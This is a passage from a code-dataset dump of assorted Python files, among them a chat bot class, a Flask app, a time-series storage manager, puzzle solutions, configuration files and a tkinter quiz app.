\"application/json\", \"_token\": TOKEN}\n return LOG_POSITION,START_TIME,INTERVAL,METRIC_NUM,SEND_COLLECTION,TOKEN,CLOUDPROM_URL,OPENTSDB_URL,TIME_SCAN,HEADERS\n except:\n raise Exception(\"Without yaml file to read\")\n\ndef main(method, thread_num, url):\n\n thread_num = int(thread_num)\n pool = multiprocessing.Pool(processes = 10)\n curr_time = int(time.time())\n past_time = curr_time - TIME_SCAN\n for i in range(1,thread_num + 1):\n pool.apply_async(method, (i, curr_time, past_time, url))\n pool.close()\n pool.join()\n\nif __name__ == '__main__':\n try:\n\n (LOG_POSITION, START_TIME, INTERVAL, METRIC_NUM, SEND_COLLECTION, TOKEN, CLOUDPROM_URL, OPENTSDB_URL, TIME_SCAN, HEADERS) = load_config()\n logging.basicConfig(filename=LOG_POSITION, level=logging.WARNING,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S ')\n option_select()\n except Exception as e:\n logging.warning(\"[WARNING:Main is exited by %s]\" % e)\n","sub_path":"pressure_script/neko.py","file_name":"neko.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89897115","text":"import threading\nfrom queue import Queue\nfrom threading import Thread\nfrom collections import namedtuple\n\nimport requests\nfrom requests.exceptions import HTTPError\n\nfrom .model import Model\nfrom .conversation import Conversation\nfrom deeppavlov.core.common.log import get_logger\n\nlog = get_logger(__name__)\n\nConvKey = namedtuple('ConvKey', ['channel_id', 'conversation_id'])\n\n\nclass Bot(Thread):\n def __init__(self, config: dict, input_queue: Queue):\n super(Bot, self).__init__()\n self.config = config\n\n self.conversations = {}\n self.access_info = {}\n self.http_sessions = {}\n self.input_queue = input_queue\n\n self.model = None\n if not self.config['multi_instance']:\n self.model = self._init_model(self.config)\n log.info('New model bot instance level model initiated')\n\n polling_interval = self.config['auth_polling_interval']\n self.timer = threading.Timer(polling_interval, self._update_access_info)\n self._request_access_info()\n self.timer.start()\n\n def run(self):\n while True:\n activity = self.input_queue.get()\n self._handle_activity(activity)\n\n def del_conversation(self, conversation_key: ConvKey):\n del self.conversations[conversation_key]\n log.info(f'Deleted conversation, key: {str(conversation_key)}')\n\n def _init_model(self, server_config: dict):\n model = Model(server_config)\n return model\n\n def _update_access_info(self):\n polling_interval = self.config['auth_polling_interval']\n self.timer = threading.Timer(polling_interval, self._update_access_info)\n self.timer.start()\n self._request_access_info()\n\n def _request_access_info(self):\n headers = {'Host': self.config['auth_host'],\n 'Content-Type': self.config['auth_content_type']}\n\n payload = {'grant_type': self.config['auth_grant_type'],\n 'scope': self.config['auth_scope'],\n 'client_id': self.config['auth_app_id'],\n 'client_secret': self.config['auth_app_secret']}\n\n result = requests.post(url=self.config['auth_url'],\n headers=headers,\n data=payload)\n\n status_code = result.status_code\n if status_code != 200:\n raise HTTPError(f'Authentication token request returned wrong HTTP status code: {status_code}')\n\n self.access_info = result.json()\n log.info(f'Obtained authentication information from Microsoft Bot Framework: {str(self.access_info)}')\n\n def _handle_activity(self, activity: dict):\n conversation_key = ConvKey(activity['channelId'], activity['conversation']['id'])\n\n if conversation_key not in self.conversations.keys():\n if self.config['multi_instance']:\n conv_model = self._init_model(self.config)\n log.info('New model conversation instance level model initiated')\n else:\n conv_model = self.model\n\n conversation_lifetime = self.config['conversation_lifetime']\n\n self.conversations[conversation_key] = Conversation(bot=self,\n model=conv_model,\n activity=activity,\n conversation_key=conversation_key,\n conversation_lifetime=conversation_lifetime)\n\n log.info(f'Created new conversation, key: {str(conversation_key)}')\n\n conversation = self.conversations[conversation_key]\n conversation.handle_activity(activity)\n","sub_path":"utils/ms_bot_framework_utils/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"522494145","text":"from bot import bot, update\n\ndef define_slots(bot, update, args):\n if not is_auth(bot, update.message.from_user.username):\n return\n\n if not is_pycamp_started:\n return\n\n try:\n slot_code, slot_time = args\n letter = slot_code[0].lower()\n if letter not in [\"a\",\"b\",\"c\",\"d\"]:\n raise\n except:\n bot.send_message(\n chat_id=\"me pasaste mal los argumentos, recatate\",\n text=args\n )\n days_added = {\"a\": 0, \"b\": 1, \"c\": 2, \"d\": 3}\n days_to_add = timedelta(days=days_added[letter])\n\n slot_date = datetime(\n year=date_start_pycamp.year,\n month=date_start_pycamp.month,\n day=date_start_pycamp.day,\n hour=int(slot_time)\n ) + days_to_add\n\n slot = Slot(code=slot_code,start=slot_date)\n slot.save()\n \n","sub_path":"src/pycamp_bot/slots.py","file_name":"slots.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"367401103","text":"import os, sys\ncurr_dir = os.getcwd().split('/')\nsys.path.append('/'.join(curr_dir[:-1]))\nts_dir = curr_dir[:-1]\nts_dir.append('timeseries')\nsys.path.append('/'.join(ts_dir))\nfrom timeseries.StorageManagerInterface import StorageManagerInterface\nfrom timeseries.ArrayTimeSeries import ArrayTimeSeries\nfrom timeseries.SizedContainerTimeSeriesInterface import SizedContainerTimeSeriesInterface\nfrom timeseries.TimeSeriesInterface import TimeSeriesInterface\nimport json\nimport numpy as np\nimport os\n\n\n\nclass FileStorageManager(StorageManagerInterface):\n\t'''\n This is the FileStorageManager class.\n FileStorageManager inherits from the StorageManagerInterface.\n\n\tAttributes:\n\n dictionary: the dict that stores the id of TimeSeries that already been store in the db.\n id_generator: the id_generator that generates id for TimeSeries.\n dir_name: the name of the database.\n\n\n Methods:\n\n\t\t store: The function to store the TimeSeries Object as a file into the database directory.\n\t\t get: The function to get the TimeSeries Object from the database.\n\t\t size: The function to get the length of the TimeSeries Object according to id.\n \n\n Examples:\n --------\n >>> fsm = FileStorageManager()\n\t>>> arrayTS = ArrayTimeSeries([0,1,2,3],[4,5,6,7])\n\t>>> fsm.store(1, arrayTS)\n\tArrayTimeSeries([(0, 4), (1, 5), (2, 6), (3, 7)])\n\t>>> fsm.get(1)\n\tArrayTimeSeries([(0.0, 4.0), (1.0, 5.0), (2.0, 6.0), (3.0, 7.0)])\n\t>>> fsm.size(1)\n\t4\n\t\n\n '''\n\tdef __init__(self, dir_name = \"DataStorage\"):\n\t\t'''The constructor to initialize a FileStorageManager object.\n Param: \n dir_name: the directory path where all the object file \n will be store in.\n '''\n\t\t#create a json dict\n\t\tabspath = os.path.abspath(os.path.dirname(__file__))\n\t\tif not os.path.exists(abspath + '/../timeseriesDB/'):\n\t\t\tos.makedirs(abspath + '/../timeseriesDB/')\n\n\t\ttry:\n\t\t\tjson_file = open(abspath + '/../timeseriesDB/id.json', 'r')\n\t\t\tself.dictionary = json.load(json_file)\n\t\texcept:\n\t\t\tself.dictionary = dict()\n\n\t\tself.id_generator = 0\n\t\tself.dir_name = abspath+'/../timeseriesDB/'\n\t\tif not os.path.exists(dir_name):\n\t\t\tos.makedirs(dir_name)\n\n\tdef store(self, id, t):\n\t\t'''The function to store the TimeSeries Object as a file into the \n\t\t database directory.\n\t\t Param:\n\t\t id: the id assign to the object when putting into the database.\n\t\t t: the timeSeries object that stores into the database.\n Return: \n t: the timeSeries object that stores into the database.\n '''\n\t\tfilename = self.dir_name+\"/ts_\" + str(id) + \".dat\"\n\t\tts = np.array([t.times(), t.values()], dtype = 'f8')\n\t\tts_file_dict = {}\n\t\tts_file_dict[id] = ts.tolist()\n\t\tf = open(filename, \"w\")\n\t\tf.write(json.dumps(ts_file_dict))\n\t\tf.close()\n\t\t#print(os.getcwd())\n\t\tf2 = open(\"id.json\",\"w\")\n\t\tf2.write(json.dumps(self.dictionary))\n\t\tf2.close()\n\t\treturn t\n\n\tdef get(self, id):\n\t\t'''The function to get the TimeSeries Object from the database.\n\t\t Param:\n\t\t id: the id of the TimeSeries object that taken out from \n\t\t database.\n Return: \n The TimeSeries object got from the database.\n '''\n\t\tfilename = self.dir_name+\"/ts_\" + str(id) + \".dat\"\n\t\ttry:\n\t\t\tf = open(filename, \"r\")\n\t\texcept FileNotFoundError:\n\t\t\traise Exception(\"The id is not in the database\")\n\t\telse:\n\t\t\tarray = json.loads(f.read())[str(id)]\n\t\t\tf.close()\n\t\t\treturn ArrayTimeSeries(array[0], array[1])\n\t\t\n\tdef size(self, id):\n\t\t'''The function to get the length of the TimeSeries Object according to id.\n\t\t Param:\n\t\t id: the id of the TimeSeries object that required.\n Return: \n The length of the TimeSeries object.\n '''\n\t\tarray = self.get(str(id))\n\t\treturn len(array)\n\n\n\n","sub_path":"timeseries/FileStorageManager.py","file_name":"FileStorageManager.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"633991091","text":"#! /usr/local/bin/python3\nfrom flask import Flask\nfrom flask import request\nfrom flask import render_template\n\nimport requests\nimport csv\nimport json\n\n# Function to retrieve the stock prices from the API\nBASE = 'json.json'\n\ndef getJsonData():\n\twith open(BASE) as json_data:\n\t\td = json.load(json_data)\n\t\tprint(d)\n\t\treturn d\n\t\n\n# Declare the Flask application\napp = Flask(\"BigSmoke\")\n\n# index route, the page that displays the stock prices\n@app.route('/', methods=['GET'])\ndef index_page():\n\t\n\t# Fetch the price data and serve a page containing it.\n\tdata = getJsonData()\n\t\n\treturn render_template('index.html', \n\t\tdata=data\n\t)\n\n# Run the server\napp.run(host='localhost', port=7777)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"498739044","text":"\"\"\"\nA palindromic number reads the same both ways. The largest palindrome\nmade from the product of two 2-digit numbers is 9009 = 91 × 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n\nBrute Force Solution\n\n\"\"\"\n\n\ncomponent_range = range(100, 1000)\n\npalindrones = []\n\nfor component_one in component_range:\n for component_two in component_range:\n\n possibility = component_one * component_two\n\n if str(possibility) == str(possibility)[::-1]:\n palindrones.append(possibility)\n\npalindrones.sort()\nprint(palindrones[-1])\n\n#\n# import itertools\n#\n# highest_palindrone = 0\n# for item in itertools.product(range(100, 10000), range(100, 10000)):\n# possibility = item[0] * item[1]\n#\n# if str(possibility) == str(possibility)[::-1]:\n# if possibility > highest_palindrone:\n# highest_palindrone = possibility\n#\n# print(highest_palindrone)\n\n\n\n","sub_path":"project_euler/problem_04.py","file_name":"problem_04.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"420544137","text":"NETWORKS = {\n 3: {\n \"name\": \"test\",\n \"http_provider\": \"https://ropsten.infura.io\",\n \"ws_provider\": \"wss://ropsten.infura.io/ws\",\n \"db\": {\n \"DB_DRIVER\": \"mysql+pymysql\",\n \"DB_HOST\": \"localhost\",\n \"DB_USER\": \"unittest_root\",\n \"DB_PASSWORD\": \"unittest_pwd\",\n \"DB_NAME\": \"registry_unittest_db\",\n \"DB_PORT\": 3306,\n },\n }\n}\nNETWORK_ID = 3\nSLACK_HOOK = {\n 'hostname': 'https://hooks.slack.com',\n 'path': ''\n}\nIPFS_URL = {\n 'url': 'ipfs.singularitynet.io',\n 'port': '80',\n\n}\nALLOWED_ORIGIN = [\"PUBLISHER\"]\nMETADATA_FILE_PATH = \"/tmp\"\nREGION_NAME = \"us-east-1\"\nASSET_BUCKET = \"\"\nASSET_DIR = \"/tmp\"\nNOTIFICATION_ARN = \"\"\nPUBLISHER_PORTAL_DAPP_URL = \"\"\nORG_ID_FOR_TESTING_AI_SERVICE = \"\"\nBLOCKCHAIN_TEST_ENV = {\n \"network_id\": 3,\n \"network_name\": \"test\",\n \"http_provider\": \"https://ropsten.infura.io\",\n \"ws_provider\": \"wss://ropsten.infura.io/ws\",\n \"publisher_private_key\": \"\",\n \"publisher_address\": \"\",\n \"free_calls\": 100,\n \"test_price_in_cogs\":1\n}\nSLACK_CHANNEL_FOR_APPROVAL_TEAM = \"\"\nSIGNING_SECRET = \"\"\nSTAGING_URL = \"\"\nALLOWED_SLACK_CHANNEL_ID = [\"dummy_channel_id\"]\nALLOWED_SLACK_USER = ['dummy_name']\nSERVICE_REVIEW_API_ENDPOINT = \"\"\nSLACK_APPROVAL_CHANNEL_URL = \"\"\nMAX_SERVICES_SLACK_LISTING = 5\nSLACK_APPROVAL_OAUTH_ACCESS_TOKEN = \"\"\nUPLOAD_BUCKET = {\n \"ORG_BUCKET\": \"org_bucket\"\n}\nVERIFICATION_ARN = {\n \"DUNS_CALLBACK\": \"\",\n \"GET_VERIFICATION\": \"\"\n}\nEMAILS = {\n \"PUBLISHER_PORTAL_SUPPORT_MAIL\": \"\",\n \"ORG_APPROVERS_DLIST\": \"\",\n \"SERVICE_APPROVERS_DLIST\": \"\"\n}\nSERVICE_CURATE_ARN = \"\"\nAPPROVAL_SLACK_HOOK = {\n 'hostname': 'https://hooks.slack.com',\n 'path': ''\n}\n","sub_path":"registry/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105987925","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import execute_one_parameter\n\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/redshift/describe-logging-status.html\nif __name__ == '__main__':\n \"\"\"\n\n \"\"\"\n\n parameter_display_string = \"\"\"\n # cluster-identifier : The identifier of the cluster from which to get the logging status.\nExample: examplecluster\n \"\"\"\n\n add_option_dict = {}\n #######################################################################\n # setting option use\n # ex: add_option_dict[\"setting_matching_parameter\"] = \"--owners\"\n # ex: add_option_dict[\"setting_key\"] = \"owner_id\"\n\n #######################################################################\n # single parameter\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n\n #######################################################################\n # parameter display string\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n\n execute_one_parameter(\"redshift\", \"describe-logging-status\", \"cluster-identifier\", add_option_dict)","sub_path":"redshift_read_1/logging-status_list.py","file_name":"logging-status_list.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"563765577","text":"'''context-mamagement protocol( the with statement)\nyou need to implement __enter__() and __exit__() methods\n'''\nfrom socket import socket, AF_INET, SOCK_STREAM\nclass LazyConnection:\n def __init__(self, address, family=AF_INET, type=SOCK_STREAM):\n self.address = address\n self.family = AF_INET\n self.type = SOCK_STREAM\n self.sock = None\n def __enter__(self): #enter context\n if self.sock is not None:\n raise RuntimeError('Already connected')\n self.sock = socket(self.family, self.type)\n self.sock.connect(self.address)\n return self.sock\n def __exit__(self, exc_ty, exc_val, tb):#exit context for clean up\n self.sock.close()\n self.sock = None\n\nfrom functools import partial\nconn = LazyConnection(('www.python.org', 80))\n# Connection closed\nwith conn as s:\n # conn.__enter__() executes: connection open\n s.send(b'GET /index.html HTTP/1.0\\r\\n')\n s.send(b'Host: www.python.org\\r\\n')\n s.send(b'\\r\\n')\n resp = b''.join(iter(partial(s.recv, 8192), b''))\n print( resp )\n\n#注意如何处理嵌套with的问题\nfrom socket import socket, AF_INET, SOCK_STREAM\nclass LazyConnection:\n def __init__(self, address, family=AF_INET, type=SOCK_STREAM):\n self.address = address\n self.family = AF_INET\n self.type = SOCK_STREAM\n self.connections = []#Pool for connections\n\n def __enter__(self):\n sock = socket(self.family, self.type)\n sock.connect(self.address)\n self.connections.append(sock) #in cache\n return sock\n\n def __exit__(self, exc_ty, exc_val, tb):\n self.connections.pop().close()\n\nfrom functools import partial\nconn = LazyConnection(('www.python.org', 80))\n# Connection closed\nwith conn as s:\n # conn.__enter__() executes: connection open\n s.send(b'GET /index.html HTTP/1.0\\r\\n')\n s.send(b'Host: www.python.org\\r\\n')\n s.send(b'\\r\\n')\n resp = b''.join(iter(partial(s.recv, 8192), b''))\n print( resp )\n with conn as s2: #s1 and s2 are independent sockets\n # conn.__enter__() executes: connection open\n s2.send(b'GET /index.html HTTP/1.0\\r\\n')\n s2.send(b'Host: www.python.org\\r\\n')\n s2.send(b'\\r\\n')\n resp = b''.join(iter(partial(s2.recv, 8192), b''))\n print(resp)","sub_path":"chapter8/8_3Making Objects Support the Context-Management Protocol/8_3.py","file_name":"8_3.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"405835273","text":"import os\nimport time\n\n\na = []\nb = []\nc = []\nmoves = 0\ndelay = 0\n\ndef move(size, n, src, dest, temp):\n global moves\n global delay\n if n == 1:\n moves += 1\n dest.insert(0, src.pop(0))\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"{:^30} {:^30} {:^30}\".format(\"a:\", \"b:\", \"c:\"))\n for x in list(range(size))[::-1]:\n print(\"{:^30} {:^30} {:^30}\".format(\n \"\" if len(a) <= x else a[-x-1],\n \"\" if len(b) <= x else b[-x-1],\n \"\" if len(c) <= x else c[-x-1]\n ))\n print(\"move: {}\".format(moves))\n time.sleep(delay)\n else:\n move(size, n-1, src, temp, dest)\n move(size, 1, src, dest, temp)\n move(size, n-1, temp, dest, src)\n\ndef main():\n global delay\n moves = 0\n\n size = int(input(\"How many pieces would you like on the tower? \"))\n delay = float(input(\"How long of a delay would you like (in seconds)? \"))\n for x in range(1, size + 1):\n if x % 2 == 1: # if it is odd\n temp = \"-\" * x\n a.append(temp)\n else:\n temp = \"#\" * x\n a.append(temp)\n\n move(size, size, a, c, b)\n\n\ndef toh_moves_req(num):\n if num == 0:\n return 0\n elif num == 1:\n return 1\n else:\n return (toh_moves_req(num - 1) * 2) + 1\n \n \n \n# for x in range(21):\n# print(\"{} moves are required to solve a TOH puzzle with {} pieces\".format(toh_moves_req(x), x))\n \n\nif __name__ == '__main__':\n main()\n ","sub_path":"towers_of_hanoi/towers_of_hanoi.py","file_name":"towers_of_hanoi.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"275972372","text":"# ====== Legal notices\n#\n# Copyright (C) 2013 - 2020 GEATEC engineering\n#\n# This program is free software.\n# You can use, redistribute and/or modify it, but only under the terms stated in the QQuickLicence.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY, without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the QQuickLicence for details.\n#\n# The QQuickLicense can be accessed at: http://www.geatec.com/qqLicence.html\n#\n# __________________________________________________________________________\n#\n#\n# THIS PROGRAM IS FUNDAMENTALLY UNSUITABLE FOR CONTROLLING REAL SYSTEMS !!\n#\n# __________________________________________________________________________\n#\n# It is meant for training purposes only.\n#\n# Removing this header ends your licence.\n#\n\nimport simpylc as sp\nimport lidar_pilot_base as lb\n\nclass LidarPilotSimulatedIo (lb.LidarPilotBase):\n def __init__ (self):\n print ('Use up arrow to start, down arrow to stop')\n self.finity = sp.finity\n super () .__init__ ()\n \n def input (self): # Input from simulator\n super () .input ()\n key = sp.getKey ()\n \n if key == 'KEY_UP':\n self.driveEnabled = True\n elif key == 'KEY_DOWN':\n self.driveEnabled = False\n \n self.lidarDistances = sp.world.visualisation.lidar.distances\n self.lidarHalfApertureAngle = sp.world.visualisation.lidar.halfApertureAngle\n \n def output (self): # Output to simulator\n super () .output ()\n sp.world.physics.steeringAngle.set (self.steeringAngle)\n sp.world.physics.targetVelocity.set (self.targetVelocity)\n \n","sub_path":"simpylc/simulations/car/lidar_pilot_simulated_io.py","file_name":"lidar_pilot_simulated_io.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"30058971","text":"from setuptools import setup\nimport os\n\n\ndef read(file_name):\n return open(os.path.join(os.path.dirname(__file__), file_name)).read()\n\n\nsetup(\n name='flask_models',\n version='0.1',\n description='flask_models for flask blog',\n author='Pankaj Kumar',\n author_email='pankaj@screen-magic.com',\n url='',\n packages=['flask_models'],\n long_description=read('Readme.md'),\n install_requires=[\n \"sqlalchemy==1.0.9\"\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"411994402","text":"\"\"\"\nreading a file , extracting date , name and content from the file\n\"\"\"\n\nimport re\nimport json\n\nclass expresions:\n def __init__(self, filesinfo):\n\n self.fi= filesinfo\n\n def readfile(self):\n filez = open(self.fi, \"r\")\n reading = filez.read()\n return reading\n\n def readlinz(self):\n filez = open(self.fi, \"r\")\n reading = filez.readline()\n return reading\n\n def date(self):\n\n\n match = re.findall('\\d{2}/\\d{2}/\\d{2}', self.readfile())\n\n return match\n\n def time(self):\n\n\n match = re.findall(\"\\d{2}:\\d{2} am|\\d{2}:\\d{2} pm\", self.readfile())\n\n\n\n return match\n\n\n def name(self):\n\n match = re.split(\"\\-\",self.readlinz())\n smatch = match[1]\n #filedictionary = json.loads(smatch)\n divideinfo = re.split(\"\\:\",smatch)\n\n return divideinfo\n\n def dataf(self):\n\n date = re.findall(\"\\d{2}/\\d{2}/\\d{2}\",self.readlinz())\n\n time = re.findall(\"\\d{1}:\\d{2} am|\\d{1}:\\d{2} pm\", self.readlinz())\n\n match = re.split(\"\\-\", self.readlinz())\n smatch = match[1]\n # filedictionary = json.loads(smatch)\n divideinfo = re.split(\"\\:\", smatch)\n\n\n return \"\".join(date) , \"\".join(time) , divideinfo[0], divideinfo[1]\n\n\n def gaol(self):\n\n x = self.dataf()\n\n return (x)\n\n def extractinformation(self):\n information_data = {}\n\n information_data['date'] = self.gaol()[0]\n information_data['time'] = self.gaol()[1]\n information_data['name'] = self.gaol()[2]\n information_data['content'] = self.gaol()[3]\n\n return information_data\n\n\n\n\nwfile = expresions(\"Chat with.txt\")\n\ndatez = wfile.date()\ntimez = wfile.time()\nname = wfile.name()\ndataf = wfile.dataf()\ngaol = wfile.gaol()\ninfrom = wfile.extractinformation()\n\n#print (f'{datez} \\n {timez}')\n\n\n\n#print (f'{name}')\n\n#print (f'{dataf}')\nprint (f'{gaol[3]}')\n\nprint (f'{infrom}')\n\n\n\n","sub_path":"regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"496144311","text":"import os\nimport re\nimport numpy as np\nimport tensorflow as tf\nfrom glob import glob\nfrom config import Config\nfrom ops import tf_fun\n\n\nclass data_processing(object):\n def __init__(self):\n self.name = 'contours_gilbert_256_centerControl'\n self.im_extension = '.png'\n self.images_dir = 'images'\n self.label_regex = r'(?<=length)\\d+'\n self.config = Config()\n self.im_size = [256, 256, 3] # 600, 600\n self.model_input_image_size = [256, 256, 1] # [107, 160, 3]\n self.max_ims = 0\n self.output_size = [1]\n self.label_size = self.output_size\n self.default_loss_function = 'cce'\n self.score_metric = 'accuracy'\n self.store_z = False\n self.normalize_im = False\n self.shuffle = True\n self.input_normalization = 'none' # 'zscore'\n self.preprocess = [''] # ['resize_nn']\n self.folds = {\n 'train': 'train',\n 'val': 'val'\n }\n self.cv_split = 0.9\n self.cv_balance = True\n self.targets = {\n 'image': tf_fun.bytes_feature,\n 'label': tf_fun.int64_feature\n }\n self.tf_dict = {\n 'image': tf_fun.fixed_len_feature(dtype='string'),\n 'label': tf_fun.fixed_len_feature(dtype='int64')\n }\n self.tf_reader = {\n 'image': {\n 'dtype': tf.float32,\n 'reshape': self.im_size\n },\n 'label': {\n 'dtype': tf.int64,\n 'reshape': self.output_size\n }\n }\n\n def get_data(self):\n \"\"\"Get the names of files.\"\"\"\n files = np.asarray(\n glob(\n os.path.join(\n self.config.data_root,\n self.name,\n '*%s' % self.im_extension)))\n labels = np.asarray(\n [int(re.search(self.label_regex, x).group()) for x in files])\n labels = (labels > 0).astype(np.int32)\n ul, lc = np.unique(labels, return_counts=True)\n include_count = np.min(lc)\n if self.max_ims:\n include_count = np.min([include_count, lc])\n\n # Trim files and labels to include_count\n pos_idx = np.where(labels == 1)[0][:include_count]\n neg_idx = np.where(labels == 0)[0][:include_count]\n\n # Create CV folds\n cv_files, cv_labels = {}, {}\n cv_files[self.folds['train']] = {}\n cv_files[self.folds['val']] = {}\n prev_cv = 0\n for k, v in self.folds.iteritems():\n if k == self.folds['train']:\n cv_split = int(include_count * self.cv_split)\n elif k == self.folds['val']:\n cv_split = int(include_count * (1 - self.cv_split))\n else:\n raise NotImplementedError\n if prev_cv:\n cv_split += prev_cv\n cv_inds = np.arange(prev_cv, cv_split)\n it_files = np.concatenate((\n files[pos_idx][cv_inds],\n files[neg_idx][cv_inds]))\n it_labels = np.concatenate((\n labels[pos_idx][cv_inds],\n labels[neg_idx][cv_inds]))\n if self.shuffle:\n shuffle_idx = np.random.permutation(len(it_files))\n it_files = it_files[shuffle_idx]\n it_labels = it_labels[shuffle_idx]\n cv_files[k] = it_files\n cv_labels[k] = it_labels\n prev_cv = cv_split\n return cv_files, cv_labels\n\n","sub_path":"dataset_processing/contours_gilbert_256_centerControl.py","file_name":"contours_gilbert_256_centerControl.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"496914539","text":"import pandas as pd\ndef load_and_process(url_or_path_to_csv_file):\n \n#Method Chain 1 (load data, rename columns, drop unneeded columns)\n df1 = (\n pd.read_csv(url_or_path_to_csv_file)\n .rename(columns={\"instant\":\"Instant\", \"dteday\":\"Date\", \"season\":\"Season\", \"mnth\":\"Month\", \"hr\":\"Hour\", \"weekday\":\"Day of Week\", \"workingday\":\"Workday?\", \"holiday\":\"Holiday?\", \"casual\":\"Casual Users\", \"registered\":\"Registered User\", \"cnt\":\"Total Users\", \"weathersit\":\"Weather Situation\", \"temp\":\"Temperature\", \"atemp\":\"Feeling Temperature\", \"hum\":\"Humidity\", \"windspeed\":\"Wind Speed\"})\n .drop(columns=['Humidity'])\n .drop(columns=['yr']) \n )\n \n\n #Method Chain 2 (Editing columns to be more descriptive)\n df2 = (\n df1\n .drop(columns=['Wind Speed']) \n .assign(Casual_Ratio = df1['Casual Users'] / df1['Total Users'])\n .assign(Average_temperature= (df1['Feeling Temperature'] + df1['Temperature']) / 2) \n )\n df2['Month'] = df1['Month'].replace([1,2,3,4,5,6,7,8,9,10,11,12], ['January','February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'])\n df2['Holiday?'] = df1['Holiday?'].replace([0,1], [False, True]) \n df2['Workday?'] = df1['Workday?'].replace([0,1], [False, True])\n df2['Day of Week'] = df1['Day of Week'].replace([1,2,3,4,5,6,0], ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday'])\n df2['Weather Situation'] = df1['Weather Situation'].replace([1,2,3,4], ['Sunny','Cloudy','Light Precipitation','Heavy Precipitation'])\n df2['Season'] = df1['Season'].replace([1,2,3,4], ['Winter','Spring','Summer','Fall'])\n df2[\"Temperature\"] = 41 * df1[\"Temperature\"]\n df2[\"Feeling Temperature\"] = 50 * df1[\"Feeling Temperature\"]\n df2[\"Wind Speed\"] = 67 * df1[\"Wind Speed\"]\n return df2","sub_path":"analysis/Scripts/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"624231830","text":"# Updated Animation Starter Code\n\nfrom tkinter import *\nfrom rapidFireQuiz import *\nfrom quizReader import *\n\n\nclass Button(object):\n def __init__(self, left, right, top, bottom, text, connection):\n self.left = left\n self.right = right\n self.top = top\n self.bottom = bottom\n self.text = text\n self.connection = connection\n def draw(self, canvas, data):\n canvas.create_rectangle(self.left,\n self.top,\n self.right,\n self.bottom,\n fill=\"black\")\n canvas.create_text((self.left + self.right) // 2,\n (self.top + self.bottom) // 2,\n text=self.text,\n fill=\"white\")\n def clicked(self, data, event):\n if self.left <= event.x <= self.right and \\\n self.top <= event.y <= self.bottom:\n data.mode = self.connection\n return True\n\nclass Screen(object):\n def __init__(self, name):\n self.name = name\n self.buttons = self.makeButtons()\n\n def makeButtons(self):\n result = []\n height = 100\n for year in range(18, 15, -1):\n for semester in (\"F\", \"S\"):\n name = \"%s%d\" % (semester, year)\n connection = self.name + name\n result += [Button(50, 550, height, height + 25, name,\n connection)]\n height += 50\n result += [Button(25, 75, 525, 575, \"To Start\", \"Title\")]\n return result\n \n def screenMousePressed(self, event, data):\n for button in self.buttons:\n if button.clicked(data, event):\n break\n \n def draw(self, canvas, data):\n canvas.create_text(data.width // 2,\n data.height // 10,\n text=self.name,\n font=\"Ariel 40\",\n fill=\"black\")\n for button in self.buttons:\n button.draw(canvas, data)\n \nclass TitleScreen(Screen): \n def makeButtons(self):\n result = []\n height = 100\n topics = topicList()\n for topic in topics:\n result += [Button(50, 550, height, height + 25, topic, topic)]\n height += 30\n return result\n def draw(self, canvas, data):\n canvas.create_text(data.width // 2,\n data.height // 10,\n text=\"Study112\",\n font=\"Ariel 40\",\n fill=\"black\")\n for button in self.buttons:\n button.draw(canvas, data)\n \nclass TopicScreen(Screen):\n def makeButtons(self):\n result = []\n height = 100\n for year in range(18, 15, -1):\n for semester in (\"F\", \"S\"):\n name = \"%s%d\" % (semester, year)\n connection = self.name 